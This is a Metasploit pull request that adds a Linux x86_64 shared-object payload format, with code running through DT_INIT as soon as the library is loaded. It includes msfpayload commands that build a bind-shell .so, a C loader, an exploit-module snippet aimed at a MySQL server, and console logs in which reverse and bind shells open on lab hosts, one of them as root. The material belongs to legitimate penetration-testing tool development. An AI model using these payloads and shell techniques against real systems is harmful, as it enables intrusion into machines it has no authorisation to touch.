rapid7/metasploit-framework — pull request #3464 by 84a0deba7af552d68c80a16b20cdef32 (2014-06-19 17:25:49+00:00)
Title: Adding Support for Linux ELF x86_64 shared object payload target (dll)

I recently ran into a situation where it was helpful to be able to return into a call to dlopen() in order to side step some mprotect restrictions in place on the target.

This pull request adds the ability to generate an x64 linux shared object with the desired payload being executed using DT_INIT in the .dynamic section.
Support was added to support invoking this template to the following components:
- msfencode
- msfpayload
- exploit::exe

generate_payload_dll was updated to invoke the appropriate Msf::Util::EXE.to_ method depending on the opts[:platform'] parameter.

An example usage from an exploit module:
```ruby
29 'Platform' => ['linux'],
30 'Targets' =>
31 [
32 [ 'mysql-server-5.1.73-3.el6_5.x86_64 / CentOS 6.5',.
33 {
34 'Arch' => ARCH_X86_64,
35 'Platform' => 'linux'
36 }
...
263 # make payload
264 chain = build_chain(generate_payload_dll)
```
Using the module:
```
msf exploit(EIP-2014-0016) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.208.10:4444
[*] 172.16.208.12:3306 - Attempting to login as 'testuser:testpass'
[*] Command shell session 1 opened (172.16.208.10:4444 -> 172.16.208.12:45063) at 2014-06-19 11:41:44 -0500

id
uid=27(mysql) gid=27(mysql) groups=27(mysql) context=unconfined_u:system_r:mysqld_t:s0
```

In addition msfpayload has had the s[O] option added to its output format array.
```
navs@debian:~/metasploit-framework$ ./msfpayload linux/x64/shell/bind_tcp RHOST=0.0.0.0 RPORT=9876 o > test.so
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x64/shell/bind_tcp
Length: 78
Options: {"RHOST"=>"0.0.0.0", "RPORT"=>"9876"}

```

This generates a shared object with the following properties:
```
navs@debian:~/tmp/metasploit-framework$ objdump -s test.so

test.so: file format elf64-x86-64

navs@debian:~/tmp/metasploit-framework$ readelf -a test.so
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x1a2
Start of program headers: 64 (bytes into file)
Start of section headers: 176 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 2
Size of section headers: 64 (bytes)
Number of section headers: 2
Section header string table index: 1

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] DYNAMIC 0000000000000130 00000130
0000000000000070 0000000000000070 0 0 8
[ 1] STRTAB 00000000000001a0 000001a0
0000000000000002 0000000000000000 0 0 0
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000000001f0 0x000000000000023e RWE 1000
DYNAMIC 0x0000000000000130 0x0000000000000130 0x0000000000000130
readelf: Error: no .dynamic section in the dynamic segment
0x0000000000000070 0x0000000000000070 RWE 1000

Section to Segment mapping:
Segment Sections...
00
01

Dynamic section at offset 0x130 contains 7 entries:
Tag Type Name/Value
0x000000000000000c (INIT) 0x1a2
0x0000000000000004 (HASH) 0x0
0x0000000000000005 (STRTAB) 0x1a0
0x0000000000000006 (SYMTAB) 0x1a0
0x000000000000000a (STRSZ) 2 (bytes)
0x000000000000000b (SYMENT) 0 (bytes)
0x0000000000000000 (NULL) 0x0

There are no relocations in this file.

There are no unwind sections in this file.

No version information found in this file.
```
The INIT (0xc) tag provided an init routine to be executed before control is returned to the caller this allows code exec to be accomplished simply by loading the module.

This can be tested by generating a .so using the newly added msfpayload argument:
```
./msfpayload linux/x64/shell/bind_tcp RHOST=0.0.0.0 RPORT=9876 o > test.so
```
Then on an appropriate architecture host:
```
[root@centos65 tmp]# uname -a
Linux centos65 2.6.32-431.17.1.el6.x86_64 #1 SMP Wed May 7 23:32:49 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
```
Use some method to load the shared object, for testing purposes I used the following c snippet:
```
[root@centos65 tmp]# cat main.c
```
```c
#include
#include
int main(int argc, char *argv[])
{

void *x;
x = dlopen("/tmp/test.so", RTLD_NOW);
if(!x) {
puts(dlerror());
}
return 0;
}
```
Compiled with:
```
gcc -o main main.c -ldl -Wall
```

We can debug and check for success numerous ways
1. The library is being loaded and DT_INIT method is running:
```
[root@centos65 tmp]# LD_DEBUG=all ./main
...
16882: initialize program: ./main
16882:
16882:
16882: transferring control: ./main
16882:
16882: symbol=dlopen; lookup in file=./main [0]
16882: symbol=dlopen; lookup in file=/lib64/libdl.so.2 [0]
16882: binding file ./main [0] to /lib64/libdl.so.2 [0]: normal symbol `dlopen' [GLIBC_2.2.5]
16882:
16882: file=/tmp/test.so [0]; needed by ./main [0]
16882: file=/tmp/test.so [0]; generating link map
16882: dynamic: 0x00007fee943f6130 base: 0x00007fee943f6000 size: 0x000000000000023e
16882: entry: 0x00007fee943f61a2 phdr: 0x00007fee943f6040 phnum: 2
16882:
16882:
16882: relocation processing: /tmp/test.so
16882:
16882: calling init: /tmp/test.so
16882:
```

2. The payload listen/connect is being invoked:
```
[root@centos65 tmp]# strace -e bind,accept,connect,listen ./main
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 140736730907952) = 0
accept(3, ^C
```

3. The payload is fully functional:
Generate a payload:
```
navs@debian:~/tmp/metasploit-framework$ ./msfpayload linux/x64/shell/bind_tcp RHOST=0.0.0.0 LPORT=4444 o > test.so
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x64/shell/bind_tcp
Length: 78
Options: {"RHOST"=>"0.0.0.0", "LPORT"=>"4444"}
```
Invoke it using the test program provided above.
```
[root@centos65 tmp]# ./main
```
Run multi/handler to interact with the payload.
```
msf exploit(handler) > set RHOST 172.16.208.12
RHOST => 172.16.208.12
msf exploit(handler) > set RPORT 4444
RPORT => 4444
msf exploit(handler) > use multi/handler
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (38 bytes) to 172.16.208.12
[*] Command shell session 2 opened (172.16.208.10:47432 -> 172.16.208.12:4444) at 2014-06-19 12:22:30 -0500

id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```